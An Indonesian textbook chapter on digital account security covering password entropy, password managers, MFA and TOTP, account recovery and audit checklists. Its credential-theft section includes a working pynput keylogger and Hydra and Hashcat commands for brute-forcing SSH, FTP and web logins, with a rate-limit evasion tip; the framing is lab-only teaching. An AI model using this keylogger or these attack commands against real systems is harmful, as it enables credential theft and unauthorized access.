BAB 09 - AKUN DIGITAL

Identitas digital adalah representasi elektronik dari seseorang di dunia maya, sementara akun digital adalah entitas yang memungkinkan identitas tersebut mengakses layanan tertentu. Memahami perbedaan dan hubungan keduanya adalah fondasi keamanan akun.

Definisi

Komponen Identitas Digital

Identitas digital terdiri dari beberapa atribut yang bersama-sama membentuk representasi unik seseorang:

Identitas vs Akun

Level of Assurance (LoA)

NIST mendefinisikan Level of Assurance (LoA) - tingkat kepercayaan terhadap identitas digital:

Identity Lifecycle

Password masih menjadi metode autentikasi paling umum di dunia, meskipun memiliki banyak kelemahan. Memahami cara membuat password yang kuat dan bagaimana password diserang adalah keterampilan fundamental.

Standar Modern: NIST SP 800-63B

Entropi Password

Entropi mengukur "kekuatan" password dalam bit. Semakin tinggi entropi, semakin sulit ditebak.

Entropy Formula
E = L × log₂(R)

# Dimana:
# E = Entropy (bits)
# L = Length (panjang password)
# R = Pool size (ukuran kumpulan karakter)

# Pool size berdasarkan jenis karakter:
# Lowercase only: 26
# Lowercase + uppercase: 52
# Lowercase + uppercase + digits: 62
# All printable ASCII: 95

# Contoh:
# Password "password123" (11 chars, pool 62):
E = 11 × log₂(62) = 11 × 5.95 = 65.5 bits

# Password "correct horse battery staple" (25 chars, pool 27):
E = 25 × log₂(27) = 25 × 4.75 = 118.8 bits

Kekuatan Password Berdasarkan Entropi

Passphrase vs Password

Passphrase = rangkaian kata yang mudah diingat tapi sulit ditebak. Metode populer: DICENAME (4 kata acak dari kamus).

Praktik: Password Strength Checker

Python - Password Strength Checker
import math
import re
import hashlib

def calculate_entropy(password):
    """Hitung entropi password dalam bits."""
    pool_size = 0
    if re.search(r'[a-z]', password):
        pool_size += 26
    if re.search(r'[A-Z]', password):
        pool_size += 26
    if re.search(r'[0-9]', password):
        pool_size += 10
    if re.search(r'[^a-zA-Z0-9]', password):
        pool_size += 33
    
    if pool_size == 0:
        return 0
    
    entropy = len(password) * math.log2(pool_size)
    return entropy

def check_password_strength(password):
    """Analisis kekuatan password."""
    entropy = calculate_entropy(password)
    
    # Cek terhadap common passwords
    common = ['123456', 'password', 'qwerty', 'admin', 
              'letmein', 'welcome', 'monkey']
    if password.lower() in common:
        return {
            'strength': 'SANGAT LEMAH',
            'entropy': entropy,
            'crack_time': 'Instant',
            'suggestion': 'Password ada di daftar common passwords!'
        }
    
    # Estimasi waktu crack (asumsi 10 billion guesses/second)
    guesses_per_sec = 10_000_000_000
    total_guesses = 2 ** entropy
    seconds = total_guesses / guesses_per_sec
    
    if seconds < 60:
        crack_time = f"{seconds:.1f} detik"
    elif seconds < 3600:
        crack_time = f"{seconds/60:.1f} menit"
    elif seconds < 86400:
        crack_time = f"{seconds/3600:.1f} jam"
    elif seconds < 86400*30:
        crack_time = f"{seconds/86400:.1f} hari"
    elif seconds < 86400*365:
        crack_time = f"{seconds/(86400*30):.1f} bulan"
    elif seconds < 86400*365*100:
        crack_time = f"{seconds/(86400*365):.1f} tahun"
    else:
        crack_time = "Abad"
    
    # Klasifikasi kekuatan
    if entropy < 28:
        strength = 'SANGAT LEMAH'
    elif entropy < 36:
        strength = 'LEMAH'
    elif entropy < 60:
        strength = 'SEDANG'
    elif entropy < 80:
        strength = 'KUAT'
    elif entropy < 128:
        strength = 'SANGAT KUAT'
    else:
        strength = 'MILITARY-GRADE'
    
    return {
        'strength': strength,
        'entropy': f"{entropy:.1f} bits",
        'length': len(password),
        'crack_time': crack_time
    }

# Contoh penggunaan
passwords = [
    "123456",
    "password",
    "P@ssw0rd!",
    "correct-horse-battery-staple",
    "xK9#mP2$vL5!nQ8@rT4&"
]

for pwd in passwords:
    result = check_password_strength(pwd)
    print(f"\nPassword: {pwd}")
    print(f"  Kekuatan: {result['strength']}")
    print(f"  Entropi: {result['entropy']}")
    print(f"  Waktu crack: {result['crack_time']}")

Password yang HARUS Dihindari

Password manager adalah aplikasi yang menyimpan, mengelola, dan menggenerate password secara aman. Dengan rata-rata orang memiliki 100+ akun, password manager bukan lagi kemewahan - melainkan kebutuhan.

Mengapa Password Manager?

Cara Kerja Password Manager

Proses Enkripsi:

1. Master Password di-hash dengan PBKDF2 atau Argon2 (ribuan iterasi)
2. Hasil hash jadi encryption key (AES-256)
3. Semua data di vault dienkripsi lokal di device sebelum sync
4. Zero-knowledge: provider tidak bisa baca data Anda

Rekomendasi Password Manager

Fitur Penting Password Manager

Praktik: Install Bitwarden CLI

Bash - Bitwarden CLI
# Install Bitwarden CLI
$ npm install -g @bitwarden/cli

# Login
$ bw login
? Email address: you@example.com
? Master password: [hidden]

# Unlock vault
$ bw unlock
? Master password: [hidden]

# List semua items
$ bw list items
[{"id":"...","name":"Gmail","login":{...}}, ...]

# Cari item spesifik
$ bw list items --search gmail

# Generate password baru
$ bw generate -l -u -n -s 20
xK9#mP2$vL5!nQ8@rT4&

# Buat item baru
$ bw encode << EOF | bw create item
{
  "type": 1,
  "name": "Akun Baru",
  "login": {
    "username": "user@example.com",
    "password": "generated-password-here"
  }
}
EOF

# Export vault (backup)
$ bw export --format encrypted_json

# Logout
$ bw logout

Multi-Factor Authentication (MFA) adalah metode autentikasi yang membutuhkan dua atau lebih faktor verifikasi dari kategori berbeda. MFA adalah kontrol keamanan paling efektif untuk mencegah account takeover - Microsoft mengklaim MFA dapat memblokir 99.9% serangan otomatis.

Tiga Faktor Autentikasi

Jenis-Jenis MFA

Phishing-Resistant MFA

Tidak semua MFA sama! Beberapa rentan phishing, beberapa tidak:

MFA Flow

Praktik: Setup TOTP dengan Python

Python - TOTP Implementation
# Install: pip install pyotp qrcode
import pyotp
import qrcode
import time

# 1. Generate secret key untuk user baru
secret = pyotp.random_base32()
print(f"Secret Key: {secret}")

# 2. Buat URI untuk QR code
uri = pyotp.totp.TOTP(secret).provisioning_uri(
    name="user@example.com",
    issuer_name="MyApp"
)
print(f"URI: {uri}")

# 3. Generate QR code
img = qrcode.make(uri)
img.save("totp_qr.png")
print("QR code disimpan di totp_qr.png")
# User scan QR ini dengan Google Authenticator/Authy

# 4. Verifikasi OTP dari user
totp = pyotp.TOTP(secret)
user_otp = "123456"  # dari user
is_valid = totp.verify(user_otp)
print(f"OTP valid: {is_valid}")

# 5. Generate current OTP (untuk testing)
current_otp = totp.now()
print(f"Current OTP: {current_otp}")
print(f"Valid for: {30 - int(time.time()) % 30} seconds")

# 6. Dengan window tolerance (untuk clock drift)
is_valid = totp.verify(user_otp, valid_window=1)
# valid_window=1 artinya terima OTP dari 30 detik sebelum/sesudah

OTP (One-Time Password) adalah password yang hanya berlaku satu kali dan dalam waktu terbatas. Setelah digunakan atau kadaluarsa, OTP tidak bisa dipakai lagi. Ini mencegah serangan replay attack.

Jenis OTP

Cara Kerja TOTP

TOTP Algorithm
TOTP = HMAC(K, T)

# Dimana:
# K = Shared secret (base32 encoded)
# T = Time step = floor((Current Unix time - T0) / X)
#     T0 = Unix time to start (usually 0)
#     X = Time step in seconds (usually 30)
# HMAC = Hash-based Message Authentication Code

# Contoh:
# Secret: JBSWY3DPEHPK3PXP (base32)
# Current time: 2026-09-09 14:32:15 UTC
# Unix time: 1757427135
# Time step: floor(1757427135 / 30) = 58580904
# TOTP: HMAC-SHA1(secret, time_step) -> truncate -> 6 digits
# Result: 482 156

# OTP valid hanya 30 detik!
# Setelah itu, time step berubah, OTP baru dihasilkan

Authenticator Apps Populer

Kelemahan OTP

Best Practices

Account recovery adalah proses mendapatkan kembali akses ke akun ketika kredensial utama (password, device 2FA) hilang. Ini adalah weakest link di banyak sistem - attacker sering menargetkan recovery process karena biasanya lebih lemah dari autentikasi utama.

Metode Recovery Umum

Kelemahan Security Questions

Contoh Security Question yang BURUK vs BAIK
# BURUK - jawaban bisa dicari
Q: "Siapa nama guru SD Anda?"
A: "Bu Siti"  # bisa dicari di Facebook

Q: "Di kota mana Anda lahir?"
A: "Bandung"  # ada di KTP, medsos

# BAIK - perlakukan seperti password
Q: "Siapa nama guru SD Anda?"
A: "xK9#mP2$vL5!"  # random string, simpan di password manager

Q: "Di kota mana Anda lahir?"
A: "correct-horse-battery-staple"  # passphrase

Best Practices Recovery

Praktik: Google Account Recovery Setup

Checklist - Google Account Recovery Setup
# ============================================
# GOOGLE ACCOUNT RECOVERY CHECKLIST
# ============================================

# 1. Recovery Email
[ ] my.recovery.email@gmail.com (email terpisah)
[ ] Email recovery punya MFA aktif
[ ] Password email recovery unik & kuat

# 2. Recovery Phone
[ ] +62 812-xxxx-xxxx (nomor aktif)
[ ] SIM punya PIN aktif
[ ] Kontak operator untuk blokir SIM jika hilang

# 3. Backup Codes
[ ] Download 10 backup codes dari Google
[ ] Print & simpan di brankas rumah
[ ] Simpan encrypted copy di password manager
[ ] Catat tanggal download

# 4. 2FA Methods
[ ] Authenticator app (Aegis/2FAS)
[ ] Hardware key (YubiKey) sebagai backup
[ ] Push notification sebagai opsi ketiga

# 5. Trusted Contacts (jika tersedia)
[ ] Setup 3-5 trusted contacts
[ ] Inform contacts tentang peran mereka
[ ] Test recovery process

# 6. Recovery Info Review
[ ] Review recovery info setiap 6 bulan
[ ] Update jika ganti nomor/email
[ ] Test recovery process tahunan

# 7. Emergency Plan
[ ] Dokumentasi akses untuk keluarga (encrypted)
[ ] Lawyer/kontak darurat untuk akses digital
[ ] Inactive Account Manager (auto-share setelah X bulan)

Credential theft (pencurian kredensial) adalah proses attacker mendapatkan username, password, atau data autentikasi lainnya secara ilegal. Ini adalah langkah pertama dalam banyak serangan siber - tanpa kredensial, attacker tidak bisa masuk.

Statistik Credential Theft

Metode Credential Theft

Keylogger: Contoh Detail

Keylogger adalah malware yang merekam setiap ketikan keyboard. Ada 2 jenis:

• Hardware keylogger: device fisik yang dipasang di antara keyboard dan PC
• Software keylogger: malware yang berjalan di background

Python - Contoh Keylogger (EDUKASI SAJA!)
# PERINGATAN: Kode ini hanya untuk edukasi!
# Menggunakan keylogger tanpa izin adalah ILEGAL!

# Install: pip install pynput
from pynput import keyboard

def on_press(key):
    """Dipanggil setiap kali tombol ditekan."""
    try:
        # Karakter normal
        print(f'{key.char}', end='', flush=True)
        # Biasanya dikirim ke server attacker via HTTP/SMTP
    except AttributeError:
        # Special keys (space, enter, shift, dll)
        print(f'[{key}]', end='', flush=True)

def on_release(key):
    """Dipanggil setiap kali tombol dilepas."""
    if key == keyboard.Key.esc:
        # Stop listener
        return False

# Start listener
with keyboard.Listener(
    on_press=on_press,
    on_release=on_release
) as listener:
    listener.join()

# Output: setiap ketikan direkam
# user mengetik: "password123"
# keylogger merekam: "password123"
# lalu dikirim ke attacker via email/HTTP

Pertahanan terhadap Credential Theft

Praktik: Cek Kebocoran Kredensial

Bash - Cek Have I Been Pwned via API
# Cek email (perlu API key)
$ curl -H "hibp-api-key: YOUR_API_KEY" \
    https://haveibeenpwned.com/api/v3/breachedaccount/you@example.com

# Cek password (tanpa API key, pakai k-Anonymity)
# 1. Hash password dengan SHA-1
$ echo -n "password123" | sha1sum | awk '{print $1}' | tr 'a-z' 'A-Z'
CBFDAC6008F9CAB4083784CBD1874F76618D2A97

# 2. Ambil 5 karakter pertama
$ PREFIX="CBFDA"

# 3. Query API dengan prefix (tidak kirim hash lengkap!)
$ curl https://api.pwnedpasswords.com/range/$PREFIX

# 4. Cek apakah suffix ada di response
# Jika ada, password sudah bocor!
# Response menunjukkan berapa kali password muncul di breaches

# Python script untuk cek password
$ python3 -c "
import hashlib, requests
pwd = input('Password: ')
sha1 = hashlib.sha1(pwd.encode()).hexdigest().upper()
prefix, suffix = sha1[:5], sha1[5:]
r = requests.get(f'https://api.pwnedpasswords.com/range/{prefix}')
for line in r.text.split():
    if line.startswith(suffix):
        print(f'BOCOR! Ditemukan {line.split(\":\")[1]} kali')
        break
else:
    print('Aman - tidak ditemukan di breaches')
"

Brute force dan credential stuffing adalah dua teknik serangan otomatis yang paling umum untuk mendapatkan akses ke akun. Memahami cara kerjanya membantu kita membangun pertahanan yang efektif.

1. Brute Force Attack

Jenis Brute Force:

Praktik: Brute Force dengan Hydra

Bash - Hydra Brute Force (LAB ONLY!)
# PERINGATAN: Hanya di lab sendiri!

# Brute force SSH
$ hydra -l admin -P /usr/share/wordlists/rockyou.txt \
    ssh://192.168.1.100

# Brute force FTP
$ hydra -L users.txt -P passwords.txt ftp://target.com

# Brute force HTTP form login
$ hydra -l admin -P rockyou.txt target.com \
    http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"

# Dengan proxy (untuk menghindari rate limit)
$ hydra -t 4 -w 10 -l admin -P rockyou.txt target.com http-post-form ...

# Output:
[DATA] max 16 tasks per 1 server, 14344394 login tries
[STATUS] 123.00 tries/min, 123 tries in 00:01h
[22][ssh] host: 192.168.1.100  login: admin  password: password123

Praktik: Password Cracking dengan Hashcat

Bash - Hashcat Password Cracking
# PERINGATAN: Hanya untuk password Anda sendiri atau lab!

# Crack MD5 hash
$ hashcat -m 0 -a 0 hashes.txt rockyou.txt
# -m 0 = MD5
# -a 0 = dictionary attack

# Crack SHA-256 hash
$ hashcat -m 1400 -a 0 hashes.txt rockyou.txt

# Crack bcrypt hash (lambat)
$ hashcat -m 3200 -a 0 hashes.txt rockyou.txt

# Brute force semua kombinasi (mask attack)
$ hashcat -m 0 -a 3 hashes.txt ?l?l?l?l?l?l?d?d
# ?l = lowercase, ?u = uppercase, ?d = digit, ?s = symbol
# 6 huruf + 2 angka = 2.8 miliar kombinasi

# Rule-based attack
$ hashcat -m 0 -a 0 -r rules/best64.rule hashes.txt rockyou.txt

# Show cracked passwords
$ hashcat -m 0 --show hashes.txt
5f4dcc3b5aa765d61d8327deb882cf99:password
e99a18c428cb38d5f260853678922e03:abc123

2. Credential Stuffing

Brute Force vs Credential Stuffing

Pertahanan

Python - Rate Limiter Sederhana
from collections import defaultdict
from time import time

class RateLimiter:
    """Rate limiter untuk mencegah brute force."""
    
    def __init__(self, max_attempts=5, window=300):
        self.max_attempts = max_attempts  # max percobaan
        self.window = window  # window dalam detik (5 menit)
        self.attempts = defaultdict(list)
    
    def is_allowed(self, ip):
        """Cek apakah IP boleh mencoba login."""
        now = time()
        # Hapus attempts lama
        self.attempts[ip] = [t for t in self.attempts[ip] 
                              if now - t < self.window]
        
        # Cek jumlah attempts
        if len(self.attempts[ip]) >= self.max_attempts:
            return False, "Too many attempts. Try again later."
        
        # Catat attempt
        self.attempts[ip].append(now)
        return True, "OK"

# Contoh penggunaan
limiter = RateLimiter(max_attempts=5, window=300)

# Simulasi login attempts
for i in range(7):
    allowed, msg = limiter.is_allowed("192.168.1.100")
    print(f"Attempt {i+1}: {msg}")

# Output:
# Attempt 1: OK
# Attempt 2: OK
# Attempt 3: OK
# Attempt 4: OK
# Attempt 5: OK
# Attempt 6: Too many attempts. Try again later.
# Attempt 7: Too many attempts. Try again later.

Account Takeover (ATO) adalah serangan di mana attacker mendapat kontrol penuh atas akun korban. Ini adalah tujuan akhir dari banyak serangan - setelah ATO, attacker bisa melakukan apa saja: mencuri data, uang, identitas, atau menggunakan akun untuk menyerang orang lain.

Statistik ATO

Metode ATO

Indikator ATO

Pencegahan ATO

Response Plan Jika ATO Terjadi

Checklist - ATO Response
# ============================================
# ACCOUNT TAKEOVER RESPONSE CHECKLIST
# ============================================

# 1. RECOVERY
[ ] Gunakan "Forgot password" / official recovery
[ ] Hubungi support platform jika recovery gagal
[ ] Siapkan bukti identitas (KTP, selfie, dll)
[ ] Cek email untuk link recovery resmi

# 2. SECURE ACCOUNT
[ ] Ganti password (password baru yang unik & kuat)
[ ] Ganti security questions (jika ada)
[ ] Review & hapus device MFA attacker
[ ] Setup MFA dengan device Anda sendiri
[ ] Review & revoke connected apps
[ ] Logout semua sessions ("Sign out everywhere")

# 3. AUDIT DAMAGE
[ ] Cek email terkirim (attacker mungkin kirim phishing)
[ ] Cek transaksi finansial (bank, e-wallet, e-commerce)
[ ] Cek perubahan data profil (email, nomor HP, alamat)
[ ] Cek postingan/upload (attacker mungkin post sesuatu)
[ ] Cek friends/followers (attacker mungkin add/remove)

# 4. NOTIFY
[ ] Inform kontak bahwa akun sempat dibajak
[ ] Laporkan ke platform (support ticket)
[ ] Laporkan ke bank jika ada transaksi fraud
[ ] Laporkan ke polisi (surat keterangan)
[ ] Laporkan ke BSSN jika berdampak luas

# 5. PREVENT FUTURE
[ ] Cek Have I Been Pwned untuk email Anda
[ ] Ganti password di akun lain yang pakai password sama
[ ] Setup MFA di semua akun penting
[ ] Aktifkan notifikasi untuk perubahan akun
[ ] Review recovery options

Audit keamanan akun adalah proses meninjau dan mengevaluasi konfigurasi keamanan semua akun digital Anda secara menyeluruh. Ini adalah praktik paling praktis dari bab ini - saatnya menerapkan semua yang telah dipelajari.

Tujuan Audit

7 Langkah Audit Akun

Langkah 1: Inventory Akun

Buat daftar lengkap semua akun digital Anda:

Template - Akun Inventory
# ============================================
# AKUN INVENTORY
# Tanggal: 2026-09-09
# ============================================

Email:
  [ ] primary@gmail.com
  [ ] work@company.com
  [ ] recovery@protonmail.com

Finance:
  [ ] BCA (m-banking)
  [ ] Mandiri
  [ ] OVO / GoPay / Dana
  [ ] PayPal
  [ ] Binance / Tokocrypto

Social Media:
  [ ] Facebook
  [ ] Instagram
  [ ] Twitter/X
  [ ] LinkedIn
  [ ] TikTok
  [ ] YouTube

Shopping:
  [ ] Tokopedia
  [ ] Shopee
  [ ] Lazada
  [ ] Bukalapak
  [ ] Amazon

Productivity:
  [ ] Google Workspace
  [ ] Microsoft 365
  [ ] Dropbox / Google Drive
  [ ] Notion / Evernote
  [ ] GitHub / GitLab

Entertainment:
  [ ] Netflix
  [ ] Spotify
  [ ] Disney+
  [ ] Steam / Epic Games

Utilities:
  [ ] Apple ID / Google Account
  [ ] WhatsApp (linked to phone)
  [ ] Telegram
  [ ] Signal

Government:
  [ ] Pajak Online (DJP Online)
  [ ] BPJS
  [ ] Dukcapil
  [ ] Samsat

Other:
  [ ] ... (tambahkan sesuai kebutuhan)

Langkah 2: Password Check

Cek kekuatan dan keunikan password setiap akun:

Checklist - Password Audit
# ============================================
# PASSWORD AUDIT CHECKLIST
# ============================================

Untuk setiap akun:

[ ] Password minimal 12 karakter?
[ ] Password unik (tidak dipakai di akun lain)?
[ ] Password tidak ada di common passwords list?
[ ] Password tidak mengandung info personal?
[ ] Password disimpan di password manager?

Tools untuk cek:
- Have I Been Pwned (pwnedpasswords.com)
- Security.org password strength checker
- Password manager audit feature

Prioritas perbaikan:
1. Email utama (CRITICAL)
2. Password manager master password (CRITICAL)
3. Banking & finance (CRITICAL)
4. Social media (HIGH)
5. Shopping (MEDIUM)
6. Entertainment (LOW)

Langkah 3: MFA Check

Verifikasi MFA aktif di semua akun kritis:

Checklist - MFA Audit
# ============================================
# MFA AUDIT CHECKLIST
# ============================================

CRITICAL (WAJIB MFA):
[ ] Email utama (Gmail, Outlook, dll)
[ ] Password manager
[ ] Banking (BCA, Mandiri, dll)
[ ] E-wallet (OVO, GoPay, Dana)
[ ] Crypto exchange
[ ] Cloud storage (Google Drive, Dropbox)

HIGH (SANGAT DISARANKAN):
[ ] Social media (FB, IG, Twitter, LinkedIn)
[ ] Shopping (Tokopedia, Shopee)
[ ] Government (DJP Online, BPJS)
[ ] Work accounts (Slack, Zoom, Office 365)

MEDIUM (DISARANKAN):
[ ] Entertainment (Netflix, Spotify)
[ ] Gaming (Steam, Epic)
[ ] Forum & komunitas

MFA Method Check:
[ ] Authenticator app (Aegis, 2FAS, Google Auth)
[ ] Hardware key (YubiKey) untuk akun critical
[ ] Backup codes disimpan offline
[ ] Recovery email/phone sudah verified
[ ] Tidak hanya andalkan SMS OTP

Langkah 4: Recovery Check

Checklist - Recovery Audit
# ============================================
# RECOVERY AUDIT CHECKLIST
# ============================================

Recovery Email:
[ ] Recovery email sudah di-setup
[ ] Recovery email != email utama
[ ] Recovery email punya MFA
[ ] Recovery email masih aktif & bisa diakses

Recovery Phone:
[ ] Nomor recovery sudah di-setup
[ ] Nomor masih aktif
[ ] SIM punya PIN aktif (anti SIM swap)
[ ] Kontak operator untuk blokir darurat

Backup Codes:
[ ] Download backup codes dari setiap akun
[ ] Print & simpan di brankas rumah
[ ] Simpan encrypted copy di password manager
[ ] Catat tanggal download
[ ] Test recovery process (minimal 1x/tahun)

Security Questions:
[ ] Hindari jika memungkinkan
[ ] Jika terpaksa, gunakan jawaban random
[ ] Simpan jawaban di password manager

Langkah 5: Breach Check

Bash - Cek Breach untuk Semua Email
# Cek semua email Anda di Have I Been Pwned
# Perlu API key (gratis untuk penggunaan pribadi)

$ API_KEY="YOUR_HIBP_API_KEY"
$ EMAILS=("primary@gmail.com" "work@company.com" "recovery@protonmail.com")

for email in "${EMAILS[@]}"; do
    echo "Checking: $email"
    curl -s -H "hibp-api-key: $API_KEY" \
        "https://haveibeenpwned.com/api/v3/breachedaccount/$email?truncateResponse=false" | \
        jq '.[] | "\(.Name) - \(.BreachDate) - \(.DataClasses | join(", "))"'
    echo "---"
done

# Output contoh:
# LinkedIn - 2021-06-14 - Email, Name, Phone
# Tokopedia - 2020-05-02 - Email, Name, Password
# Adobe - 2013-10-04 - Email, Password hint

Langkah 6: Apps & Permissions Review

Checklist - Apps & Permissions
# ============================================
# APPS & PERMISSIONS REVIEW
# ============================================

Google Account:
- Buka: myaccount.google.com/permissions
[ ] Review semua apps yang punya akses
[ ] Revoke akses apps yang tidak dipakai
[ ] Cek permission level (read/write/full)

Facebook:
- Buka: Settings -> Apps and Websites
[ ] Review apps connected
[ ] Remove apps tidak aktif
[ ] Cek data yang di-share

Smartphone:
- Android: Settings -> Privacy -> Permission Manager
- iOS: Settings -> Privacy & Security
[ ] Review apps dengan akses lokasi
[ ] Review apps dengan akses kamera/mic
[ ] Review apps dengan akses kontak
[ ] Revoke permission tidak perlu

Browser Extensions:
[ ] Review semua extensions terpasang
[ ] Hapus extensions tidak dipakai
[ ] Cek permission extensions
[ ] Pastikan dari sumber terpercaya

Langkah 7: Action Plan

Template - Audit Action Plan
# ============================================
# AUDIT ACTION PLAN
# Tanggal Audit: 2026-09-09
# ============================================

CRITICAL (selesaikan dalam 24 jam):
[ ] Ganti password email utama (sudah bocor di breach 2020)
[ ] Setup MFA di banking BCA (belum aktif!)
[ ] Revoke akses app "SuspiciousApp" dari Google account

HIGH (selesaikan dalam 1 minggu):
[ ] Setup MFA di Instagram, Twitter, LinkedIn
[ ] Ganti password di 5 akun yang reuse password
[ ] Download backup codes untuk semua akun critical
[ ] Setup recovery email terpisah

MEDIUM (selesaikan dalam 1 bulan):
[ ] Install password manager (Bitwarden)
[ ] Migrasi semua password ke password manager
[ ] Review & hapus 10 akun tidak terpakai
[ ] Setup hardware key (YubiKey) untuk akun critical

LOW (jadwalkan dalam 3 bulan):
[ ] Review semua smartphone app permissions
[ ] Hapus browser extensions tidak perlu
[ ] Test recovery process untuk 3 akun utama
[ ] Audit connected apps di semua platform

JADWAL AUDIT BERIKUTNYA:
- Quick check: 1 bulan (15 menit)
- Partial audit: 3 bulan (1 jam)
- Full audit: 6 bulan (2-3 jam)

Script Audit Otomatis

Python - Account Security Audit Script
import json
import hashlib
import requests
from datetime import datetime

class AccountAuditor:
    """Audit keamanan akun digital."""
    
    def __init__(self):
        self.accounts = []
        self.issues = []
    
    def add_account(self, name, email, has_mfa, password_strength, 
                     last_audit, recovery_set):
        """Tambah akun ke audit."""
        self.accounts.append({
            'name': name,
            'email': email,
            'has_mfa': has_mfa,
            'password_strength': password_strength,  # weak/medium/strong
            'last_audit': last_audit,
            'recovery_set': recovery_set
        })
    
    def check_password_breach(self, password):
        """Cek apakah password sudah bocor (via HIBP API)."""
        sha1 = hashlib.sha1(password.encode()).hexdigest().upper()
        prefix, suffix = sha1[:5], sha1[5:]
        
        try:
            r = requests.get(
                f'https://api.pwnedpasswords.com/range/{prefix}',
                timeout=5
            )
            for line in r.text.split():
                if line.startswith(suffix):
                    count = line.split(':')[1]
                    return True, int(count)
            return False, 0
        except:
            return None, 0
    
    def run_audit(self):
        """Jalankan audit lengkap."""
        print(f"\n{'='*60}")
        print(f"ACCOUNT SECURITY AUDIT REPORT")
        print(f"Date: {datetime.now().strftime('%Y-%m-%d %H:%M')}")
        print(f"{'='*60}\n")
        
        for acc in self.accounts:
            print(f"\n[{acc['name']}]")
            print(f"  Email: {acc['email']}")
            
            # Check MFA
            if not acc['has_mfa']:
                print("  [CRITICAL] MFA TIDAK AKTIF!")
                self.issues.append((acc['name'], 'MFA tidak aktif'))
            else:
                print("  [OK] MFA aktif")
            
            # Check password strength
            if acc['password_strength'] == 'weak':
                print("  [CRITICAL] Password lemah!")
                self.issues.append((acc['name'], 'Password lemah'))
            elif acc['password_strength'] == 'medium':
                print("  [WARNING] Password sedang")
                self.issues.append((acc['name'], 'Password perlu ditingkatkan'))
            else:
                print("  [OK] Password kuat")
            
            # Check recovery
            if not acc['recovery_set']:
                print("  [WARNING] Recovery options belum di-setup")
                self.issues.append((acc['name'], 'Recovery belum di-setup'))
            
            # Check last audit
            print(f"  Last audit: {acc['last_audit']}")
        
        # Summary
        print(f"\n{'='*60}")
        print(f"SUMMARY")
        print(f"{'='*60}")
        print(f"Total akun: {len(self.accounts)}")
        print(f"Total issues: {len(self.issues)}")
        
        if self.issues:
            print("\nACTION ITEMS:")
            for i, (acc, issue) in enumerate(self.issues, 1):
                print(f"  {i}. {acc}: {issue}")

# Contoh penggunaan
auditor = AccountAuditor()

# Tambah akun-akun
auditor.add_account("Gmail Utama", "me@gmail.com", 
                    has_mfa=True, password_strength='strong', 
                    last_audit="2026-06-01", recovery_set=True)

auditor.add_account("BCA", "me@bank.com",
                    has_mfa=False, password_strength='medium',
                    last_audit="2025-12-01", recovery_set=False)

auditor.add_account("Instagram", "me@ig.com",
                    has_mfa=True, password_strength='weak',
                    last_audit="2026-01-15", recovery_set=True)

# Jalankan audit
auditor.run_audit()

Jadwal Audit Berkala

Uji pemahaman Anda tentang Bab 09! Target minimal: 70% untuk melanjutkan ke Bab 10.